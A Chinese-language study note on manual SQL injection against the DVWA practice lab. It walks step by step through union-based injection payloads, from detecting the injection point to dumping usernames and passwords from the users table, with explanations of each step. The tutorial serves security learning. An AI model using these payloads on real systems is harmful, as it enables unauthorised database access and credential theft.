sql手工注入dvwa靶场
记录一下自己重新开始学习web安全之路④。
一、找交互点(url、搜索框、登录框)
在dvwa靶场中,发现有url,有搜索框。
二、找注入点(通过 ’ 号来判断)
思考一:为什么能通过 ’ 号能判断是否为注入点?
正常情况下: 加上单引号之后:
int类型 整型 where id = 2 int类型 整型 where id = 2 ’
char类型 字符型 where id = ‘2’ char类型 字符型 where id = ‘2’’
在搜索框中输入1’ , 发现回显不正常,且提示有sql语句的错误。
三、判断注入类型(①int型、②char型)
分别在交互点输入 1 and 1=1 1 and 1=2
真 与 真 真 与 假
如果两次回显结果一样,则是char类型 ;
如果两次回显不一样,则是int类型 ;
思考二:为什么两次回显结果一样就是char类型,不一样就是int类型?
char类型在带入数据库时会自动加上’ ’ ,并没有执行and语句,而是全部转换为了字符串。‘1 and 1=1’、‘1 and 1=2’
通过判断,发现该注入类型为char类型。
思考三:为什么要先判断注入类型?
一、因为如果是整数型类型,用字符型的代码去注入会失败,且在判断列数时,输入的整数型代码,不管判断多少列都会回显正常。
二、字符类型的在注入时,会加 ’ 单引号闭合,注释符 # 或者 --+ 注释。
判断注入类型这决定了如何来构造后面的sql语句
思考四:为什么要加 ’ 单引号闭合,注释符注释?
因为是字符型,有两个单引号 ’ ’ ,我们加 ’ 单引号是为了闭合最前面的单引号,加注释符注释后面的那个单引号,这样就能执行我们所构造的sql语句。
例如:1’ order by 2#, 实际是’ 1 ’ order by 2#’
井号后面的单引号被注释掉了。
四、判断列数(order by、二分法)
1’ order by 2#
五、查看回显位置(union 联合 select查询)
1’ and 1=2 union select 1,2#
1’ //单引号是为了闭合前面的那个 ’ 单引号
and 1=2 //这是一个逻辑错误,1不可能=2,是为了避免一些只显示一行的页面过滤掉后面的联合查询的数据,所以让前面的查询条件永远为错。
union //union就是合并操作,完整语义就是使用union合并两个select的结果集,前者为空,后者结果为1,2,3,4,5,所以就会把这些结果合并然后显示到对应的字段。如果前半句为假,则只执行后半句。所以为什么要and 1=2.
思考五:为什么要查看回显位置?
在web上访问一个网站时,并不是所有信息都会反馈到屏幕上,显示的信息即回显;数据库中同理,并不是所有的select语句都会将结果显示在屏幕上。
因此,我们为了能够在屏幕上看到我们输入的select语句的结果反馈,需要判断回显位置。
六、查看数据库名称(dvwa)
1’ and 1=2 union select database(),2#
1’ //单引号了为了闭合前面的单引号
and1=2 //让逻辑错误,执行union 的后半段
union select database(),2# //查询database()数据库名称
七、查看数据表名称(guestbook、users)
1’ and 1=2 union select group_concat(table_name),2 from information_schema.tables where table_schema=‘dvwa’#
group_concat(table_name) //以group组形式查表名,然后用concat拼接。
table_name,2 from information_schema.tables //从数据库的所有表中查找
where table_schema=‘dvwa’# //从dvwa的数据库中,table_schema对应的是数据库名称
即从dvwa的数据库中,找所有数据表的名称
八、查看数据列名称()
写法一(正常写法):1’ and 1=2 union select group_concat(column_name),2 from information_schema.columns where table_schema=‘dvwa’ and table_name=‘users’#
写法二(偷懒写法):1’ and 1=2 union select group_concat(column_name),2 from information_schema.columns where table_name=‘users’#
九、查看数据
1’ and 1=2 union select concat(user,‘—’,password),2 from users#